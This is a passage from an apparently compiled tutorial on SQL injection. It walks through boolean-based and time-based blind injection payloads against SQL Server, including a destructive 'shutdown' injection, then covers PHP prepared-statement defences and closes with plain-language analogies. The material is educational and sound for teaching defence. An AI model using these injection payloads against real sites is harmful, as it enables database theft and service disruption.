You can see it now starts at position 2 rather than position 1. Of course this is laborious; as well as enumerating through all the tables in sysobjects you end up enumerating through all the possible letters of the alphabet until you get a hit then you have to repeat the process for each character of the table name. There is, however, a little shortcut that looks like this:
1 and
(
  select top 1 ascii(lower(substring(name, 1, 1))) from sysobjects where id=(
    select top 1 id from (
      select top 1 id from sysobjects where xtype='u' order by id
    ) sq order by id desc
  )
) > 109
There’s a subtle but important difference here in that what’s it doing is rather than checking for an individual character match, it’s looking for where that character falls in the ASCII table. Actually, it’s first lowercasing the table name to ensure we’re only dealing with 26 characters (assuming alpha-only naming, of course), then it’s taking the ASCII value of that character. In the example above, it then checks to see if the character is further down the table than the letter “m” (ASCII 109) and then of course the same potential outcomes as described earlier apply (either a record comes back or it doesn’t). The main difference is that rather than potentially making 26 attempts at guessing the character (and consequently making 26 HTTP requests), it’s now going to exhaust all possibilities in only 5 – you just keep halving the possible ASCII character range until there’s only one possibility remaining.
For example, if greater than 109 then it must be between “n” and “z” so you split that (roughly) in half and go greater than 115. If that’s false then it must be between “n” and “s” so you split that bang in half and go greater than 112. That’s true so there’s only three chars left which you can narrow down to one in a max of two guesses. Bottom line is that the max of 26 guesses (call it average of 13) is now done in only 5 as you simply just keep halving the result set.
By constructing the right requests the app will still tell you everything it previously did in that very explicit, rich error message way, it’s just that it’s now being a little coy and you have to coax the answers out of it. This is frequently referred to as “Boolean-based” SQL injection and it works well where the previously demonstrated “Union-based” and “Error-based” approaches won’t fly. But it’s also not fool proof; let’s take a look at one more approach and this time we’re going to need to be a little more patient.

Disclosure through patience: Time-based blind injection

Everything to date has worked on the presumption that the app will disclose information via the HTML output. In the earlier examples the union-based and error-based approaches gave us data in the browser that explicitly told us object names and disclosed internal data. In the blind boolean-based examples we were implicitly told the same information by virtue of the HTML response being different based on a true versus a false equivalency test. But what happens when this information can’t be leaked via the HTML either explicitly or implicitly?
Let’s imagine another attack vector using this URL:
http://widgetshop.com/Widgets/?OrderBy=Name
In this case it’s pretty fair to assume that the query will translate through to something like this:
SELECT * FROM Widget ORDER BY Name
Clearly we can’t just starting adding conditions directly into the ORDER BY clause (although there are other angles from which you could mount a boolean-based attack), so we need to try another approach. A common technique with SQLi is to terminate a statement and then append a subsequent one, for example like this:
http://widgetshop.com/Widgets/?OrderBy=Name;SELECT DB_NAME()
That’s a pretty innocuous one (although certainly discovering the database name can be useful), a more destructive approach would be to do something like “DROP TABLE Widget”. Of course the account the web app is connecting to the database with needs the rights to be able to do this, the point is that once you can start chaining together queries then the potential really starts to open up.
Getting back to blind SQLi though, what we need to do now is find another way to do the earlier boolean-based tests using a subsequent statement and the way we can do that is to introduce is a delay using the WAITFOR DELAY syntax. Try this on for size:
Name;
IF(EXISTS(
  select top 1 * from sysobjects where id=(
    select top 1 id from (
      select top 1 id from sysobjects where xtype='u' order by id
    ) sq order by id desc
  ) and ascii(lower(substring(name, 1, 1))) > 109
)) 
WAITFOR DELAY '0:0:5'
This is only really a slight variation of the earlier examples in that rather than changing the number of records returned by manipulating the WHERE clause, it’s now just a totally new statement that looks for the presence of a table at the end of sysobjects beginning with a letter greater than “m” and if it exists, the query then takes a little nap for 5 seconds. We’d still need to narrow down the ASCII character range and we’d still need to move through each character of the table name and we’d still need to look at other tables in sysobjects (plus of course then look at syscolumns and then actually pull data out), but all of that is entirely possible with a bit of time. 5 seconds may be longer than needed or it may not be long enough, it all comes down to how consistent the response times from the app are because ultimately this is all designed to manipulate the observable behaviour which is how long it takes between making a request and receiving a response.
This attack – as with all the previous ones – could, of course, be entirely automated as it’s nothing more than simple enumerations and conditional logic. Of course it could end up taking a while but that’s a relative term; if a normal request takes 1 second and half of the 5 attempts required to find the right character return true then you’re looking at 17.5 seconds per character, say 10 chars in an average table name is about 3 minutes a table then maybe 20 tables in a DB so call it one hour and you’ve discovered every table name in the system. And that’s if you’re doing all this in a single-threaded fashion.

It doesn’t end there…

This is one of those topics with a heap of different angles, not least of which is because there are so many different combinations of database, app framework and web server not to mention a whole gamut of defences such as web application firewalls. An example of where things can get tricky is if you need to resort to a time-based attack yet the database doesn’t support a delay feature, for example an Access database (yes, some people actually do put these behind websites!) One approach here is to use what’s referred to as heavy queries or in other words, queries which by their very nature will cause a response to be slow.
The other thing worth mentioning about SQLi is that two really significant factors play a role in the success an attacker has exploiting the risk: The first is input sanitisation in terms of what characters the app will actually accept and pass through to the database. Often we’ll see very piecemeal approaches where, for example, angle brackets and quotes are stripped but everything else is allowed. When this starts happening the attacker needs to get creative in terms of how they structure the query so that these roadblocks are avoided. And that’s kind of the second point – the attacker’s SQL prowess is vitally important. This goes well beyond just your average TSQL skills of SELECT FROM, the proficient SQL injector understands numerous tricks to both bypass the input sanitisation and select data from the system in such a way that it can be retrieved via the web UI. For example, little tricks like discovering a column type by using a query such as this:
http://widgetshop.com/Widget/?id=1 union select sum(instock) from widget
In this case, error-based injection will give tell you exactly what type the “InStock” column is when the error bubbles up to the UI (and no error will mean it’s numeric):
Operand data type bit is invalid for sum operator.
Or once you’re totally fed up with the very presence of that damned vulnerable site still being up there on the web, a bit of this:
http://widgetshop.com/Widget/?id=1;shutdown
But injection goes a lot further than just pulling data out via HTTP, for example there are vectors that will grant the attacker shell on the machine. Or take another tangent – why bother trying to suck stuff out through HTML when you might be able to just create a local SQL user and remotely connect using SQL Server Management Studio over port 1433? But hang on – you’d need the account the web app is connecting under to have the privileges to actually create users in the database, right? Yep, and plenty of them do, in fact you can find some of these just by searching Google (of course there is no need for SQLi in these cases, assuming the SQL servers are publicly accessible).
Lastly, if there’s any remaining doubt as to both the prevalence and impact of SQLi flaws in today’s software, just last week there was news of what is arguably one of the largest hacking schemes to date which (allegedly) resulted in losses of $300 million:
The indictment also suggest that the hackers, in most cases, did not employ particularly sophisticated methods to gain initial entry into the corporate networks. The papers show that in most cases, the breach was made via SQL injection flaws -- a threat that has been thoroughly documented and understood for well over than a decade.
Perhaps SQLi is not quite as well understood as some people think.

If you think about fixing it through php this following would work :

SqlInjection prevention In Php 

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.
You basically have two options to achieve this:
  1. Using PDO (for any supported database driver):
    $stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');
    
    $stmt->execute(array('name' => $name));
    
    foreach ($stmt as $row) {
        // do something with $row
    }
  2. Using MySQLi (for MySQL):
    $stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
    $stmt->bind_param('s', $name);
    
    $stmt->execute();
    
    $result = $stmt->get_result();
    while ($row = $result->fetch_assoc()) {
        // do something with $row
    }
If you're connecting to a database other than MySQL, there is a driver-specific second option that you can refer to (e.g. pg_prepare() and pg_execute() for PostgreSQL). PDO is the universal option.

Correctly setting up the connection

Note that when using PDO to access a MySQL database real prepared statements are not used by default. To fix this you have to disable the emulation of prepared statements. An example of creating a connection using PDO is:
$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');

$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
In the above example the error mode isn't strictly necessary, but it is advised to add it. This way the script will not stop with a Fatal Error when something goes wrong. And it gives the developer the chance to catch any error(s) which are thrown as PDOExceptions.
What is mandatory however is the first setAttribute() line, which tells PDO to disable emulated prepared statements and use real prepared statements. This makes sure the statement and the values aren't parsed by PHP before sending it to the MySQL server (giving a possible attacker no chance to inject malicious SQL).
Although you can set the charset in the options of the constructor, it's important to note that 'older' versions of PHP (< 5.3.6) silently ignored the charset parameter in the DSN.

Explanation

What happens is that the SQL statement you pass to prepare is parsed and compiled by the database server. By specifying parameters (either a ? or a named parameter like :name in the example above) you tell the database engine where you want to filter on. Then when you call execute, the prepared statement is combined with the parameter values you specify.
The important thing here is that the parameter values are combined with the compiled statement, not an SQL string. SQL injection works by tricking the script into including malicious strings when it creates SQL to send to the database. So by sending the actual SQL separately from the parameters, you limit the risk of ending up with something you didn't intend. Any parameters you send when using a prepared statement will just be treated as strings (although the database engine may do some optimization so parameters may end up as numbers too, of course). In the example above, if the $name variable contains 'Sarah'; DELETE FROM employees the result would simply be a search for the string "'Sarah'; DELETE FROM employees", and you will not end up with an empty table.
Another benefit with using prepared statements is that if you execute the same statement many times in the same session it will only be parsed and compiled once, giving you some speed gains.
Oh, and since you asked about how to do it for an insert, here's an example (using PDO):
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');

$preparedStatement->execute(array('column' => $unsafeValue));

Can Prepared Statements Be Used For Dynamic Queries?

While you can still use prepared statements for the query parameters, the structure of the dynamic query itself cannot be parametrized and certain query features (e.g. LIMIT $start, $number) cannot be parametrized.
For example, this will not work:
$stmt = $pdo->prepare('SELECT * FROM employees ORDER BY name ASC LIMIT ?, ?'); // Bad query
$stmt->execute(array(0, 30));
For these specific scenarios, the best thing to do is use a whitelist filter that restricts the possible values or the possible characters.
// Value whitelist
  // $dir can only be 'DESC' or 'ASC'
$dir = !empty($direction) ? 'DESC' : 'ASC';

// Character set whitelist
  // $offset will never contain a non-numeric character
$offset = preg_replace('/[^0-9]+/', '', $offset);
if (empty($offset)) {
    $offset = 0;
}

// Explicit data types
  // $number will always be an integer. We use a binary AND operation
  // ($number & PHP_INT_MAX) to prevent integer overflows from creating
  // invalid characters from alternative notation.
$number = (int) ($number < 0 ? 1 : ($number & PHP_INT_MAX));

$stmt = $pdo->prepare(
    'SELECT * FROM employees ORDER BY name '.$dir.' LIMIT '.$offset.', '.$number
);


Hope it helps..

What is sql injection ?

Hi friends

today i am going to share the intresting article found at dmz,what is sql injection and how its going to be exploited.

Technically speaking :

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).

Now what about layman whom doesnt understand anything about sql injection

Polynomial of dmz breifed it quiet right :

The way I demonstrate it to complete non-techies is with a simple analogy.
Imagine you're a robot in a warehouse full of boxes. Your job is to fetch a box from somewhere in the warehouse, and put it on the conveyor belt. Robots need to be told what to do, so your programmer has given you a set of instructions on a paper form, which people can fill out and hand to you.
The form looks like this:
Fetch item number ____ from section ____ of rack number ____, and place it on the conveyor belt.
A normal request might look like this:
Fetch item number 1234 from section B2 of rack number 12, and place it on the conveyor belt.
The values in bold (1234, B2, and 12) were provided by the person issuing the request. You're a robot, so you do what you're told: you drive up to rack 12, go down it until you reach section B2, and grab item 1234. You then drive back to the conveyor belt and drop the item onto it.
But what if a user put something other than normal values into the form? What if the user added instructions into them?
Fetch item number 1234 from section B2 of rack number 12, and throw it out the window. Then go back to your desk and ignore the rest of this form. and place it on the conveyor belt.
Again, the parts in bold were provided by the person issuing the request. Since you're a robot, you do exactly what the user just told you to do. You drive over to rack 12, grab item 1234 from section B2, and throw it out of the window. Since the instructions also tell you to ignore the last part of the message, the "and place it on the conveyor belt" bit is ignored.
This technique is called "injection", and it's possible due to the way that the instructions are handled - the robot can't tell the difference between instructions and data, i.e. the actions it has to perform, and the things it has to do those actions on.
SQL is a special language used to tell a database what to do, in a similar way to how we told the robot what to do. In SQL injection, we run into exactly the same problem - a query (a set of instructions) might have parameters (data) inserted into it that end up being interpreted as instructions, causing it to malfunction. A malicious user might exploit this by telling the database to return every user's details, which is obviously not good!
In order to avoid this problem, we must separate the instructions and data in a way that the database (or robot) can easily distinguish. This is usually done by sending them separately. So, in the case of the robot, it would read the blank form containing the instructions, identify where the parameters (i.e. the blank spaces) are, and store it. A user can then walk up and say "1234, B2, 12" and the robot will apply those values to the instructions, without allowing them to be interpreted as instructions themselves. In SQL, this technique is known as parameterised queries.
In the case of the "evil" parameter we gave to the robot, he would now raise a mechanical eyebrow quizzically and say
Error: Cannot find rack number "12, and throw it out the window. Then go back to your desk and ignore the rest of this form." - are you sure this is a valid input?
Success! We've stopped the robot's "glitch".

Another explnation would be :

You are about to go to the bank to perform a transaction on behalf of your boss. Your boss gave you an envelope with instructions for the cashier.
The instructions read:
Write the balance for account with number 8772344 on this paper.

Signed,
Boss
You leave the envelope out of your sight for a few minutes while you go to the bathroom. A thief opens the envelope and adds above the signature: "Also transfer $500 from account 8772344 to another account with number 12747583.".
Now the full message reads:
Write the balance for account with number 8772344 on this paper.
Also transfer $500 from account 8772344 to another account with number 12747583.
Signed,
Boss
The cashier checks your identification and verifies that you are an authorized person for the account in question and follows the instructions in the letter.
Your boss is the legitimate program code. You are the program code and database driver that is delivering the SQL code to the database. The letter is the SQL code that is being passed to the database. The thief is the attacker. The cashier is the database. The identification is typically a login and password to the database.

which clarifies basics of sql injection,hoping for your comments